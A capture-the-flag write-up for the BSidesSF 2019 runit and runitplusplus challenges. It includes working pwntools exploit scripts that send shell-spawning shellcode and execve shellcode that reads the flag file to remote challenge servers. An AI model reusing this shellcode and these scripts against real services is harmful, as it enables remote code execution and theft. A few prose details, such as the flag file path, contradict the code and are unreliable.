BSidesSF 2019 CTF

write up runit and runitplusplus

What is this about?

This is a binary exploitation and reversing challenge for both runit and runitplusplus, this blog post is an unofficial write up of these two challenges.

Solving first challenge: runit

let’s start with runit:

shasum -a 256: 14609b8165079a24f83c93128659cd08108eddfd48a3b8a9f43e10e225253c11

Can be downloaded in our github here. This flag solution can be downloaded from here.

The flag server is: runit-5094b2cb.challenges.bsidessf.net:5252

Opening this runit challenge in IDA pro, reveals the following disassembly:

runit-disasembly

Basically it creates a file mapping in the current process virtual memory, of size 0x400, and returns a pointer to the mapped area and storing it in [ebp-0x10]. Then it prints out “Send me stuff!!”, then it reads users inputs and storing it directly in the previous mapped area.

If the numbers of bytes reads, exceeds zero we “call eax”, where eax is pointing to the first byte of the input buffer. We basically have a shellcode launcher or a direct remote code execution (RCE) on the flag server. One way to solve this challenge with the very minimum lines of codes needed is by the use of pwn.

We connect to the server and we just send a payload with the call to send(asm(shellcraft.sh()) and then run an interactive session:

#! /usr/bin/python 

from pwn import *

FLAG_location = "/home/ctf/flag.txt"

TCP_IP  = "runit-5094b2cb.challenges.bsidessf.net"
TCP_PORT = 5252

context(arch = 'i386', os = 'linux')
r = remote(TCP_IP, TCP_PORT)

r.send(asm(shellcraft.sh()))
r.send("\n")
r.interactive()

once running in the server, we can just cat /home/ctf/flag.txt and get the flag:

runit-flagdump

the flag is CTF{you_ran_it}

Solving runitplusplus

let’s move to runitplusplus!

shasum -a 256 : fede032da2c74ebb509a57b8119085ac2ac88841d9ca0a3e28581a43ecd9939b

runiplusplus binary can be downloaded from our github here, and the solution of the challenge can be found here.

runintplusplus is like runit but we additional “security” in place, below is disassembly of runitplusplus:

runitplusplus-challenge

basically the code above is nothing more than a reverse string. We can decompile it as such:

while (i < 0x200) 
{
    buf[i] = buf[i] ^ buf[size - i - 1]  
    tmp  = buf[size -i -1]
    tmp = tmp ^ buf[i]
    buf[i] = buf[i] ^ tmp  
    i += 1
}

So for example if we enter the string “ABCD” the result will be “DCBA”. it means here we need to reverse the string of our shellcode before sending it. we will use [::-1] at the end of our string, which purpose is to reverse the string.

We choose here to write a full shellcode, calling sys_execve(“/bin/cat/”, “/home/flag/ctf”) instead of just asm(shellcraft.sh()). We also need to make sure that our carriage return needs to also be included at the end of the shellcode “\x0a”:

#! /usr/bin/python 

import binascii
import socket
import sys
import struct
import time
from pwn import *

FLAG_location = "/home/ctf/flag.txt"

TCP_IP  = "runitplusplus-a36bf652.challenges.bsidessf.net"
TCP_PORT = 5353

# Disassembly:
# 0:  31 c0                   xor    eax,eax
# 2:  99                      cdq
# 3:  52                      push   edx
# 4:  68 2f 63 61 74          push   0x7461632f # /bin/cat
# 9:  68 2f 62 69 6e          push   0x6e69622f
# e:  89 e3                   mov    ebx,esp
# 10: 52                      push   edx
# 11: 68 78 74 00 00          push   0x7478
# 16: 68 61 67 2e 74          push   0x742e6761
# 1b: 68 66 2f 66 6c          push   0x6c662f66
# 20: 68 65 2f 63 74          push   0x74632f65
# 25: 68 2f 68 6f 6d          push   0x6d6f682f
# 2a: 89 e1                   mov    ecx,esp
# 2c: b0 0b                   mov    al,0xb # sys_execve
# 2e: 52                      push   edx
# 2f: 51                      push   ecx
# 30: 53                      push   ebx
# 31: 89 e1                   mov    ecx,esp
# 33: cd 80                   int    0x80

payload = "\x31\xc0\x99\x52\x68\x2f\x63\x61"
payload += "\x74\x68\x2f\x62\x69\x6e\x89\xe3"
payload += "\x52\x68\x78\x74\x00\x00\x68\x61"
payload += "\x67\x2e\x74\x68\x66\x2f\x66\x6c"
payload += "\x68\x65\x2f\x63\x74\x68\x2f\x68"
payload += "\x6f\x6d\x89\xe1\xb0\x0b\x52\x51"
payload += "\x53\x89\xe1\xcd\x80\x0a"

payload = payload[::-1] # reverse it

context(arch = 'i386', os = 'linux')

r = remote(TCP_IP, TCP_PORT)

r.send(payload)
r.interactive()

Running live on the server will get us the flag automatically:

runitplusplus-live

the flag is :

{ti_nar_uoy}FTC


See also